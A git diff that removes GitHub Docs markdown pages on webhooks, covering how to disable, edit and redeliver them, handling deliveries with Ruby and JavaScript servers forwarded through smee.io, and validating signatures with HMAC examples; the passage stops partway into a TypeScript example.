Navigate to your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). -1. Next to the {% data variables.product.prodname_marketplace %} listing that you want to view webhook deliveries for, click **Manage listing**. -1. In the sidebar, click **Webhook**. -1. Deselect **Active**. -1. Click **Update webhook**. - -## Disabling a {% data variables.product.prodname_sponsors %} webhook - -You can disable webhooks that were previously enabled for events relating to {% data variables.product.prodname_sponsors %}. Only the owner of the sponsored account can disable sponsorship webhooks for that account. - -1. In the upper-right corner of any page, click your profile photo, then click **Your sponsors**. -1. Next to the account you want to edit a webhook for, click **Dashboard**. -1. In the left sidebar, click **Webhooks**. -{% data reusables.webhooks.disable_webhook %} - -{% endif %} - -## Disabling webhooks for a {% data variables.product.prodname_github_app %} - -Each {% data variables.product.prodname_github_app %} has one webhook. You cannot delete the webhook, but you can deactivate the webhook. The owner of a {% data variables.product.prodname_github_app %} can deactivate the webhook the app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also deactivate the webhook for the app. - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to deactivate the webhook for, click **Edit**. -1. Under "Webhook," deselect **Active** to disable the webhook. -1. Click **Save changes**. diff --git a/content/webhooks/using-webhooks/editing-webhooks.md b/content/webhooks/using-webhooks/editing-webhooks.md deleted file mode 100644 index 1c3a1eeda042..000000000000 --- a/content/webhooks/using-webhooks/editing-webhooks.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Editing webhooks -shortTitle: Edit webhooks -intro: 'After creating a webhook, you can make changes to it.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About editing webhooks - -You can edit a webhook to change any of the settings that were selected when the webhook was initially created. For more information about the settings you can select while creating a webhook, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). - -## Editing a repository webhook - -You can edit a webhook that was created in a specific repository. You must be a repository owner or have admin access in the repository to edit webhooks in that repository. - -You can use the {% data variables.product.github %} web interface or the REST API to edit a repository webhook. For more information about using the REST API to edit a repository webhook, see [AUTOTITLE](/rest/webhooks/repos#update-a-repository-webhook). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.webhooks.sidebar_webhooks %} -{% data reusables.webhooks.edit_webhook %} -{% data reusables.webhooks.edit_webhook_make_changes %} -{% data reusables.webhooks.update_webhook %} - -## Editing an organization webhook - -You can edit a webhook that was created in a specific organization. You must be an organization owner to edit webhooks in that organization. - -You can use the {% data variables.product.github %} web interface or the REST API to edit an organization webhook. For more information about using the REST API to create an organization webhook, see [AUTOTITLE](/rest/orgs/webhooks#update-an-organization-webhook). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.webhooks.sidebar_webhooks %} -{% data reusables.webhooks.edit_webhook %} -{% data reusables.webhooks.edit_webhook_make_changes %} -{% data reusables.webhooks.update_webhook %} - -{% ifversion ghes or ghec %} - -## Editing a global webhook for a {% data variables.product.prodname_enterprise %} - -Enterprise owners can edit a global webhook to change any of the settings that were selected when the webhook was initially created. - -{% ifversion ghes %} - -You can use the {% data variables.product.company_short %} web interface or the REST API to edit a global webhook. For more information about using the REST API to edit a global webhook, see [AUTOTITLE](/rest/enterprise-admin/global-webhooks). - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -{% data reusables.webhooks.edit_webhook %} -{% data reusables.webhooks.edit_webhook_make_changes %} -{% data reusables.webhooks.update_webhook %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## Editing a {% data variables.product.prodname_marketplace %} webhook - -You can edit a webhook that was created for an app that you published in {% data variables.product.prodname_marketplace %}. Only the owner of the app, or an app manager for the organization that owns the app, can edit a {% data variables.product.prodname_marketplace %} webhook. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api). - -1. Navigate to your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). -1. Next to the {% data variables.product.prodname_marketplace %} listing that you want to view webhook deliveries for, click **Manage listing**. -1. In the sidebar, click **Webhook**. -{% data reusables.webhooks.edit_webhook_make_changes %} -{% data reusables.webhooks.update_webhook %} - -## Editing a {% data variables.product.prodname_sponsors %} webhook - -You can edit a webhook that was created for a {% data variables.product.prodname_sponsors %} account. Only the owner of the sponsored account can edit sponsorship webhooks for that account. - -1. In the upper-right corner of any page, click your profile photo, then click **Your sponsors**. -1. Next to the account you want to edit a webhook for, click **Dashboard**. -1. In the left sidebar, click **Webhooks**. -{% data reusables.webhooks.edit_webhook %} -{% data reusables.webhooks.edit_webhook_make_changes %} -{% data reusables.webhooks.update_webhook %} - -{% endif %} - -## Editing webhooks for a {% data variables.product.prodname_github_app %} - -Each {% data variables.product.prodname_github_app %} has one webhook. You cannot delete the webhook, but you can activate or deactivate the webhook, change the webhook events that the webhook subscribes to, or make changes to other basic settings for the webhook. - -The owner of a {% data variables.product.prodname_github_app %} can edit the webhook configuration for the app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also edit the webhook configuration. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps). - -{% data reusables.apps.settings-step %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to update the webhook configuration for, click **Edit**. -1. To edit the basic webhook settings: - 1. Under "Webhook", any desired changes to the webhook settings. - 1. Click **Save changes**. -1. To make changes to the events that the webhook is subscribed to: - 1. In the sidebar, click **Permissions & events**. - 1. {% data reusables.apps.webhooks-and-apps %} - - Under the sections "Repository permissions," "Organization permissions," and "Account permissions," select the permissions that are required for the events your app will subscribe to. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app). For more information about things to consider when changing the permissions, see [Modifying a {% data variables.product.prodname_github_app %} registration](/apps/maintaining-github-apps/modifying-a-github-app-registration#changing-the-permissions-of-a-github-app). - 1. Under "Subscribe to Events," select the webhook events you would like your {% data variables.product.prodname_github_app %} to receive. - 1. Click **Save changes**. - -You can use the REST API to edit the webhook configuration for a {% data variables.product.prodname_github_app %}. For more information about using the REST API to view recent deliveries, see [AUTOTITLE](/rest/apps/webhooks). diff --git a/content/webhooks/using-webhooks/handling-failed-webhook-deliveries.md b/content/webhooks/using-webhooks/handling-failed-webhook-deliveries.md deleted file mode 100644 index 61f7a104c961..000000000000 --- a/content/webhooks/using-webhooks/handling-failed-webhook-deliveries.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Handling failed webhook deliveries -shortTitle: Handle failed deliveries -intro: '{% data variables.product.company_short %} does not automatically redeliver failed webhook deliveries, but you can handle failed deliveries manually or by writing code.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -layout: inline ---- - -## About webhook delivery failures - -A webhook delivery can fail for multiple reasons. For example, if your server is down or takes longer than {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds to respond, {% data variables.product.company_short %} will record the delivery as a failure. - -{% data variables.product.company_short %} does not automatically redeliver failed deliveries. - -## Handling delivery failures - -You can manually redeliver failed deliveries. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). - -You can also write a script that checks for failed deliveries and attempts to redeliver any that failed. Your script should run on a schedule and do the following: - -1. Use the {% data variables.product.company_short %} REST API to fetch data about any webhook deliveries that were attempted since the last time that your script ran. For more information, see [AUTOTITLE](/rest/webhooks/repo-deliveries#list-deliveries-for-a-repository-webhook), [AUTOTITLE](/rest/orgs/webhooks#list-deliveries-for-an-organization-webhook), and [AUTOTITLE](/rest/apps/webhooks#list-deliveries-for-an-app-webhook). - - {% ifversion fpt %}There are no API endpoints to get data about {% data variables.product.prodname_marketplace %} webhooks or {% data variables.product.prodname_sponsors %} webhooks.{% endif %}{% ifversion ghec %}There are no API endpoints to get data about {% data variables.product.prodname_marketplace %} webhooks, {% data variables.product.prodname_sponsors %} webhooks, or global webhooks.{% endif %}{% ifversion ghes %}There are no API endpoints to get data about global webhook deliveries.{% endif %} - -1. Look at the fetched data to see if any deliveries failed. The data for a failed delivery will have a `status` value that is not `OK`. -1. Use the {% data variables.product.company_short %} REST API to redeliver any deliveries that failed. For more information, see [AUTOTITLE](/rest/webhooks/repo-deliveries#redeliver-a-delivery-for-a-repository-webhook), [AUTOTITLE](/rest/orgs/webhooks#redeliver-a-delivery-for-an-organization-webhook), and [AUTOTITLE](/rest/apps/webhooks#redeliver-a-delivery-for-an-app-webhook). - -For example scripts, see: - -* [AUTOTITLE](/webhooks/using-webhooks/creating-a-script-to-automatically-redeliver-failed-deliveries-for-a-repository-webhook) -* [AUTOTITLE](/webhooks/using-webhooks/creating-a-script-to-automatically-redeliver-failed-deliveries-for-an-organization-webhook) -* [AUTOTITLE](/webhooks/using-webhooks/creating-a-script-to-automatically-redeliver-failed-deliveries-for-a-github-app-webhook) - -If a webhook delivery fails repeatedly, you should investigate the cause. Each failed delivery will give a reason for failure. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks). diff --git a/content/webhooks/using-webhooks/handling-webhook-deliveries.md b/content/webhooks/using-webhooks/handling-webhook-deliveries.md deleted file mode 100644 index a05155fe7f26..000000000000 --- a/content/webhooks/using-webhooks/handling-webhook-deliveries.md +++ /dev/null @@ -1,330 +0,0 @@ ---- -title: Handling webhook deliveries -shortTitle: Handle deliveries -intro: 'Learn how to write code to listen for and respond to webhook deliveries.' -redirect_from: - - /webhooks/configuring - - /developers/webhooks-and-events/configuring-your-server-to-receive-payloads - - /developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads - - /webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads - - /webhooks/webhooks/configuring-your-server-to-receive-payloads - - /webhooks/configuring-your-server-to-receive-payloads - - /webhooks/using-webhooks/configuring-your-server-to-receive-payloads -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -layout: inline ---- - -## Introduction - -When you create a webhook, you specify a URL and subscribe to event types. When an event that your webhook is subscribed to occurs, {% data variables.product.company_short %} will send an HTTP request with data about the event to the URL that you specified. If your server is set up to listen for webhook deliveries at that URL, it can take action when it receives one. - -This article describes how to write code to let your server listen for and respond to webhook deliveries. You will test your code by using your computer or codespace as a local server. - -## Setup - -In order to test your webhook locally, you can use a webhook proxy URL to forward webhooks from {% data variables.product.company_short %} to your computer or codespace. This article uses smee.io to provide a webhook proxy URL and forward webhooks. - -### Get a webhook proxy URL - -1. In your browser, navigate to https://smee.io/. -1. Click **Start a new channel**. -1. Copy the full URL under "Webhook Proxy URL". You will use this URL in the following setup steps. - -### Forward webhooks - -1. If you don't already have [smee-client](https://www.npmjs.com/package/smee-client) installed, run the following command in your terminal: - - ```shell copy - npm install --global smee-client - ``` - -1. To receive forwarded webhooks from smee.io, run the following command in your terminal. Replace `WEBHOOK_PROXY_URL` with your webhook proxy URL from earlier. - - ```shell copy - smee --url WEBHOOK_PROXY_URL --path /webhook --port 3000 - ``` - - You should see output that looks like this, where `WEBHOOK_PROXY_URL` is your webhook proxy URL: - - ```shell copy - Forwarding WEBHOOK_PROXY_URL to http://127.0.0.1:3000/webhook - Connected WEBHOOK_PROXY_URL - ``` - - Note that the path is `/webhook` and the port is `3000`. You will use these values later when you write code to handle webhook deliveries. - -1. Keep this running while you test out your webhook. When you want to stop forwarding webhooks, enter Ctrl+C . - -### Create a webhook - -1. Create a webhook with the following settings. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). - - * For the URL, use your webhook proxy URL from earlier. - * If you have an option to choose the content type, use JSON. - -## Write code to handle webhook deliveries - -In order to handle webhook deliveries, you need to write code that will: - -* Initialize your server to listen for requests to your webhook URL -* Read the HTTP headers and body from the request -* Take the desired action in response to the request - -You can use any programming language that you can run on your server. - -The following examples print a message when a webhook delivery is received. However, you can modify the code to take another action, such as making a request to the {% data variables.product.company_short %} API or sending a Slack message. - -* [Ruby example](#ruby-example) -* [JavaScript example](#javascript-example) - -### Ruby example - -This example uses the Ruby gem, Sinatra, to define routes and handle HTTP requests. For more information, see [the Sinatra README](https://github.com/sinatra/sinatra#readme). - -#### Ruby example: Install dependencies - -To use this example, you must install the sinatra gem in your Ruby project. For example, you can do this with [Bundler](https://bundler.io/): - -1. If you don't already have Bundler installed, run the following command in your terminal: - - ```shell copy - gem install bundler - ``` - -1. If you don't already have a Gemfile for your app, run the following command in your terminal: - - ```shell copy - bundle init - ``` - -1. If you don't already have a Gemfile.lock for your app, run the following command in your terminal: - - ```shell copy - bundle install - ``` - -1. Install the Sinatra gem by running the following command in your terminal: - - ```shell copy - bundle add sinatra - ``` - -#### Ruby example: Write the code - -Create a Ruby file with the following contents. Modify the code to handle the event types that your webhook is subscribed to, as well as the `ping` event that {% data variables.product.company_short %} sends when you create a webhook. This example handles the `issues` and `ping` events. - -```ruby copy annotate -# These are the dependencies for this code. You installed the `sinatra` gem earlier. For more information, see [Ruby example: Install dependencies](#ruby-example-install-dependencies). The `json` library is a standard Ruby library, so you don't need to install it. -require 'sinatra' -require 'json' - -# The `/webhook` route matches the path that you specified for the smee.io forwarding. For more information, see [Forward webhooks](#forward-webhooks). -# -# Once you deploy your code to a server and update your webhook URL, you should change this to match the path portion of the URL for your webhook. -post '/webhook' do - - # Respond to indicate that the delivery was successfully received. - # Your server should respond with a 2XX response within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving a webhook delivery. If your server takes longer than that to respond, then {% data variables.product.company_short %} terminates the connection and considers the delivery a failure. - status 202 - - # Check the `X-GitHub-Event` header to learn what event type was sent. - # Sinatra changes `X-GitHub-Event` to `HTTP_X_GITHUB_EVENT`. - github_event = request.env['HTTP_X_GITHUB_EVENT'] - - # You should add logic to handle each event type that your webhook is subscribed to. - # For example, this code handles the `issues` and `ping` events. - # - # If any events have an `action` field, you should also add logic to handle each action that you are interested in. - # For example, this code handles the `opened` and `closed` actions for the `issue` event. - # - # For more information about the data that you can expect for each event type, see [AUTOTITLE](/webhooks/webhook-events-and-payloads). - if github_event == "issues" - data = JSON.parse(request.body.read) - action = data['action'] - if action == "opened" - puts "An issue was opened with this title: #{data['issue']['title']}" - elsif action == "closed" - puts "An issue was closed by #{data['issue']['user']['login']}" - else - puts "Unhandled action for the issue event: #{action}" - end - elsif github_event == "ping" - puts "GitHub sent the ping event" - else - puts "Unhandled event: #{github_event}" - end -end -``` - -#### Ruby example: Test the code - -To test your webhook, you can use your computer or codespace to act as a local server. If you have trouble with these steps, see [Troubleshooting](#troubleshooting). - -1. Make sure that you are forwarding webhooks. If you are no longer forwarding webhooks, follow the steps in [Forward webhooks](#forward-webhooks) again. -1. In a separate terminal window, run the following command to start a local server on your computer or codespace. Replace `FILE_PATH` with the path to the file where your code from the previous section is stored. Note that `PORT=3000` matches the port that you specified for the webhook forwarding in the previous step. - - ```shell copy - PORT=3000 ruby FILE_NAME - ``` - - You should see output that indicates something like "Sinatra has taken the stage on 3000". - -1. Trigger your webhook. For example, if you created a repository webhook that is subscribed to the `issues` event, open an issue in your repository. You can also redeliver a previous webhook delivery. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). -1. Navigate to your webhook proxy URL on smee.io. You should see an event that corresponds to the event that you triggered or redelivered. This indicates that {% data variables.product.company_short %} successfully sent a webhook delivery to the payload URL that you specified. -1. In the terminal window where you ran `smee --url WEBHOOK_PROXY_URL --path /webhook --port 3000`, you should see something like `POST http://127.0.0.1:3000/webhook - 202`. This indicates that smee successfully forwarded your webhook to your local server. -1. In the terminal window where you ran `PORT=3000 ruby FILE_NAME`, you should see a message corresponding to the event that was sent. For example, if you use the example code from above and you redelivered the `ping` event, you should see "{% data variables.product.company_short %} sent the ping event". You may also see some other lines that Sinatra automatically prints. -1. In both terminal windows, enter Ctrl+C to stop your local server and stop listening for forwarded webhooks. - -Now that you have tested out your code locally, you can make changes to use your webhook in production. For more information, see [Next steps](#next-steps). If you had trouble testing your code, try the steps in [Troubleshooting](#troubleshooting). - -### JavaScript example - -This example uses Node.js and the Express library to define routes and handle HTTP requests. For more information, see [expressjs.com](https://expressjs.com). - -For an example that uses {% data variables.product.company_short %}'s Octokit.js SDK, see [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events). - -This example requires your computer or codespace to run Node.js version 12 or greater and npm version 6.12.0 or greater. For more information, see [Node.js](https://nodejs.org). - -#### JavaScript example: Install dependencies - -To use this example, you must install the `express` library in your Node.js project. For example: - -```shell copy -npm install express -``` - -#### JavaScript example: Write the code - -Create a JavaScript file with the following contents. Modify the code to handle the event types that your webhook is subscribed to, as well as the `ping` event that {% data variables.product.company_short %} sends when you create a webhook. This example handles the `issues` and `ping` events. - -```javascript copy annotate -// You installed the `express` library earlier. For more information, see [JavaScript example: Install dependencies](#javascript-example-install-dependencies). -const express = require('express'); - -// This initializes a new Express application. -const app = express(); - -// This defines a POST route at the `/webhook` path. This path matches the path that you specified for the smee.io forwarding. For more information, see [Forward webhooks](#forward-webhooks). -// -// Once you deploy your code to a server and update your webhook URL, you should change this to match the path portion of the URL for your webhook. -app.post('/webhook', express.json({type: 'application/json'}), (request, response) => { - - // Respond to indicate that the delivery was successfully received. - // Your server should respond with a 2XX response within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving a webhook delivery. If your server takes longer than that to respond, then {% data variables.product.company_short %} terminates the connection and considers the delivery a failure. - response.status(202).send('Accepted'); - - // Check the `x-github-event` header to learn what event type was sent. - const githubEvent = request.headers['x-github-event']; - - // You should add logic to handle each event type that your webhook is subscribed to. - // For example, this code handles the `issues` and `ping` events. - // - // If any events have an `action` field, you should also add logic to handle each action that you are interested in. - // For example, this code handles the `opened` and `closed` actions for the `issue` event. - // - // For more information about the data that you can expect for each event type, see [AUTOTITLE](/webhooks/webhook-events-and-payloads). - if (githubEvent === 'issues') { - const data = request.body; - const action = data.action; - if (action === 'opened') { - console.log(`An issue was opened with this title: ${data.issue.title}`); - } else if (action === 'closed') { - console.log(`An issue was closed by ${data.issue.user.login}`); - } else { - console.log(`Unhandled action for the issue event: ${action}`); - } - } else if (githubEvent === 'ping') { - console.log('GitHub sent the ping event'); - } else { - console.log(`Unhandled event: ${githubEvent}`); - } -}); - -// This defines the port where your server should listen. -// 3000 matches the port that you specified for webhook forwarding. For more information, see [Forward webhooks](#forward-webhooks). -// -// Once you deploy your code to a server, you should change this to match the port where your server is listening. -const port = 3000; - -// This starts the server and tells it to listen at the specified port. -app.listen(port, () => { - console.log(`Server is running on port ${port}`); -}); -``` - -#### JavaScript example: Test the code - -To test your webhook, you can use your computer or codespace to act as a local server. If you have trouble with these steps, see [Troubleshooting](#troubleshooting). - -1. Make sure that you are forwarding webhooks. If you are no longer forwarding webhooks, follow the steps in [Forward webhooks](#forward-webhooks) again. -1. In a separate terminal window, run the following command to start a local server on your computer or codespace. Replace `FILE_PATH` with the path to the file where your code from the previous section is stored. - - ```shell copy - node FILE_NAME - ``` - - You should see output that says `Server is running on port 3000`. - -1. Trigger your webhook. For example, if you created a repository webhook that is subscribed to the `issues` event, open an issue in your repository. You can also redeliver a previous webhook delivery. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). -1. Navigate to your webhook proxy URL on smee.io. You should see an event that corresponds to the event that you triggered or redelivered. This indicates that {% data variables.product.company_short %} successfully sent a webhook delivery to the payload URL that you specified. -1. In the terminal window where you ran `smee --url WEBHOOK_PROXY_URL --path /webhook --port 3000`, you should see something like `POST http://127.0.0.1:3000/webhook - 202`. This indicates that smee successfully forwarded your webhook to your local server. -1. In the terminal window where you ran `node FILE_NAME`, you should see a message corresponding to the event that was sent. For example, if you use the example code from above and you redelivered the `ping` event, you should see "{% data variables.product.company_short %} sent the ping event". -1. In both terminal windows, enter Ctrl+C to stop your local server and stop listening for forwarded webhooks. - -Now that you have tested out your code locally, you can make changes to use your webhook in production. For more information, see [Next steps](#next-steps). If you had trouble testing your code, try the steps in [Troubleshooting](#troubleshooting). - -## Troubleshooting - -If you don't see the expected results described in the testing steps, try the following: - -* Make sure that your webhook is using your webhook proxy URL (Smee.io URL). For more information about your webhook proxy URL, see [Get a webhook proxy URL](#get-a-webhook-proxy-url). For more information about your webhook settings, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). -* Make sure that your webhook uses the JSON content type, if you have a choice about what content type to use. For more information about your webhook settings, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). -* Make sure that both the smee client and your local server are running. You will have these processes running in two separate terminal windows. -* Make sure that your server is listening to the same port where smee.io is forwarding webhooks. All of the examples in this article use port 3000. -* Make sure that the path where smee.io is forwarding webhooks matches a route that is defined in your code. All of the examples in this article use the `/webhooks` path. -* Check for error messages in the terminal windows where you are running the smee client and your local server. -* Check {% data variables.product.company_short %} to verify that a webhook delivery was triggered. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries). -* Check your webhook proxy URL on smee.io. You should see an event that corresponds to the event that you triggered or redelivered. This indicates that {% data variables.product.company_short %} successfully sent a webhook delivery to the payload URL that you specified. - -## Next steps - -This article demonstrated how to write code to handle webhook deliveries. It also demonstrated how to test your code by using your computer or codespace as a local server and by forwarding webhook deliveries from {% data variables.product.company_short %} to your local server via smee.io. Once you are done testing your code, you might want to modify the code and deploy your code to a server. - -### Modify the code - -This article gave basic examples that print a message when a webhook delivery is received. You may want to modify the code to take some other action. For example, you could modify the code to: - -* Make a request to the {% data variables.product.company_short %} API -* Send a message on Slack -* Log events -* Update an external project management tool - -### Verify that the delivery is from {% data variables.product.company_short %} - -In your code that handles webhook deliveries, you should validate that the delivery is from {% data variables.product.company_short %} before processing the delivery further. For more information, see [AUTOTITLE](/webhooks/using-webhooks/securing-your-webhooks). - -### Deploy your code to a server - -This article demonstrated how to use your computer or codespace as a server while you develop your code. Once the code is ready for production use, you should deploy your code to a dedicated server. - -When you do so, you may need to update your code to reflect the host and port where your server is listening. - -### Update the webhook URL - -Once you have a server that is set up to receive webhook traffic from {% data variables.product.company_short %}, update the URL in your webhook settings. You may need to update the route that your code handles to match the path portion of the new URL. For example, if your new webhook URL is `https://example.com/github-webhooks`, you should change the route in these examples from `/webhooks` to `/github-webhooks`. - -You should not use smee.io to forward your webhooks in production. - -### Follow best practices - -You should aim to follow best practices with your webhooks. For more information, see [AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks). - -## Further reading - -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events) -* [AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks) diff --git a/content/webhooks/using-webhooks/index.md b/content/webhooks/using-webhooks/index.md deleted file mode 100644 index 16e90e85b789..000000000000 --- a/content/webhooks/using-webhooks/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Using webhooks -intro: 'Learn how to use webhooks to react to events on {% data variables.product.company_short %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -children: - - /creating-webhooks - - /handling-webhook-deliveries - - /validating-webhook-deliveries - - /delivering-webhooks-to-private-systems - - /editing-webhooks - - /disabling-webhooks - - /best-practices-for-using-webhooks - - /handling-failed-webhook-deliveries - - /automatically-redelivering-failed-deliveries-for-a-repository-webhook - - /automatically-redelivering-failed-deliveries-for-an-organization-webhook - - /automatically-redelivering-failed-deliveries-for-a-github-app-webhook ---- diff --git a/content/webhooks/using-webhooks/validating-webhook-deliveries.md b/content/webhooks/using-webhooks/validating-webhook-deliveries.md deleted file mode 100644 index 8148165d6d09..000000000000 --- a/content/webhooks/using-webhooks/validating-webhook-deliveries.md +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: Validating webhook deliveries -shortTitle: Validate deliveries -intro: 'You can use a webhook secret to verify that a webhook delivery is from {% data variables.product.company_short %}.' -redirect_from: - - /webhooks/securing - - /developers/webhooks-and-events/securing-your-webhooks - - /developers/webhooks-and-events/webhooks/securing-your-webhooks - - /webhooks-and-events/webhooks/securing-your-webhooks - - /webhooks/webhooks/securing-your-webhooks - - /webhooks/securing-your-webhooks - - /webhooks/using-webhooks/securing-your-webhooks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About validating webhook deliveries - -Once your server is configured to receive payloads, it will listen for any delivery that's sent to the endpoint you configured. To ensure that your server only processes webhook deliveries that were sent by {% data variables.product.company_short %} and to ensure that the delivery was not tampered with, you should validate the webhook signature before processing the delivery further. This will help you avoid spending server time to process deliveries that are not from {% data variables.product.company_short %} and will help avoid man-in-the-middle attacks. - -To do this, you need to: - -1. Create a secret token for a webhook. -1. Store the token securely on your server. -1. Validate incoming webhook payloads against the token, to verify that they are coming from {% data variables.product.github %} and were not tampered with. - -## Creating a secret token - -You can create a new webhook with a secret token, or you can add a secret token to an existing webhook. When creating a secret token, you should choose a random string of text with high entropy. - -* _To create a new webhook with a secret token_, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). -* _To add a secret token to an existing webhook_, edit the webhook's settings. Under "Secret", type a string to use as a `secret` key. For more information, see [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks). - -## Securely storing the secret token - -After creating a secret token, you should store it in a secure location that your server can access. Never hardcode a token into an application or push a token to any repository. For more information about how to use authentication credentials securely in your code, see [AUTOTITLE](/rest/overview/keeping-your-api-credentials-secure#use-authentication-credentials-securely-in-your-code). - -## Validating webhook deliveries - -{% data variables.product.github %} will use your secret token to create a hash signature that's sent to you with each payload. The hash signature will appear in each delivery as the value of the `X-Hub-Signature-256` header. For more information, see [AUTOTITLE](/webhooks/webhook-events-and-payloads#delivery-headers). - -In your code that handles webhook deliveries, you should calculate a hash using your secret token. Then, compare the hash that {% data variables.product.company_short %} sent with the expected hash that you calculated, and ensure that they match. For examples showing how to validate the hashes in various programming languages, see [Examples](#examples). - -There are a few important things to keep in mind when validating webhook payloads: - -* {% data variables.product.github %} uses an HMAC hex digest to compute the hash. -* The hash signature always starts with `sha256=`. -* The hash signature is generated using your webhook's secret token and the payload contents. -* If your language and server implementation specifies a character encoding, ensure that you handle the payload as UTF-8. Webhook payloads can contain unicode characters. -* Never use a plain `==` operator. Instead consider using a method like [`secure_compare`](https://www.rubydoc.info/gems/rack/Rack%2FUtils:secure_compare) or [`crypto.timingSafeEqual`](https://nodejs.org/api/crypto.html#cryptotimingsafeequala-b), which performs a "constant time" string comparison to help mitigate certain timing attacks against regular equality operators, or regular loops in JIT-optimized languages. - -### Testing the webhook payload validation - -You can use the following `secret` and `payload` values to verify that your implementation is correct: - -* `secret`: `It's a Secret to Everybody` -* `payload`: `Hello, World!` - -If your implementation is correct, the signatures that you generate should match the following signature values: - -* signature: `757107ea0eb2509fc211221cce984b8a37570b6d7586c22c46f4379c8b043e17` -* X-Hub-Signature-256: `sha256=757107ea0eb2509fc211221cce984b8a37570b6d7586c22c46f4379c8b043e17` - -### Examples - -You can use your programming language of choice to implement HMAC verification in your code. Following are some examples showing how an implementation might look in various programming languages. - -#### Ruby example - -For example, you can define the following `verify_signature` function: - -``` ruby -def verify_signature(payload_body) - signature = 'sha256=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), ENV['SECRET_TOKEN'], payload_body) - return halt 500, "Signatures didn't match!" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE_256']) -end -``` - -Then you can call it when you receive a webhook payload: - -``` ruby -post '/payload' do - request.body.rewind - payload_body = request.body.read - verify_signature(payload_body) - push = JSON.parse(payload_body) - "I got some JSON: #{push.inspect}" -end -``` - -#### Python example - -For example, you can define the following `verify_signature` function and call it when you receive a webhook payload: - -```python -import hashlib -import hmac -def verify_signature(payload_body, secret_token, signature_header): - """Verify that the payload was sent from GitHub by validating SHA256. - - Raise and return 403 if not authorized. - - Args: - payload_body: original request body to verify (request.body()) - secret_token: GitHub app webhook token (WEBHOOK_SECRET) - signature_header: header received from GitHub (x-hub-signature-256) - """ - if not signature_header: - raise HTTPException(status_code=403, detail="x-hub-signature-256 header is missing!") - hash_object = hmac.new(secret_token.encode('utf-8'), msg=payload_body, digestmod=hashlib.sha256) - expected_signature = "sha256=" + hash_object.hexdigest() - if not hmac.compare_digest(expected_signature, signature_header): - raise HTTPException(status_code=403, detail="Request signatures didn't match!") -``` - -#### JavaScript example - -For example, you can define the following `verifySignature` function and call it in any JavaScript environment when you receive a webhook payload: - -```javascript -let encoder = new TextEncoder(); - -async function verifySignature(secret, header, payload) { - let parts = header.split("="); - let sigHex = parts[1]; - - let algorithm = { name: "HMAC", hash: { name: 'SHA-256' } }; - - let keyBytes = encoder.encode(secret); - let extractable = false; - let key = await crypto.subtle.importKey( - "raw", - keyBytes, - algorithm, - extractable, - [ "sign", "verify" ], - ); - - let sigBytes = hexToBytes(sigHex); - let dataBytes = encoder.encode(payload); - let equal = await crypto.subtle.verify( - algorithm.name, - key, - sigBytes, - dataBytes, - ); - - return equal; -} - -function hexToBytes(hex) { - let len = hex.length / 2; - let bytes = new Uint8Array(len); - - let index = 0; - for (let i = 0; i < hex.length; i += 2) { - let c = hex.slice(i, i + 2); - let b = parseInt(c, 16); - bytes[index] = b; - index += 1; - } - - return bytes; -} -``` - -#### TypeScript example - -For example, you can define the following `verify_signature` function and call it when you receive a webhook payload: - -```javascript copy -import { Webhooks } 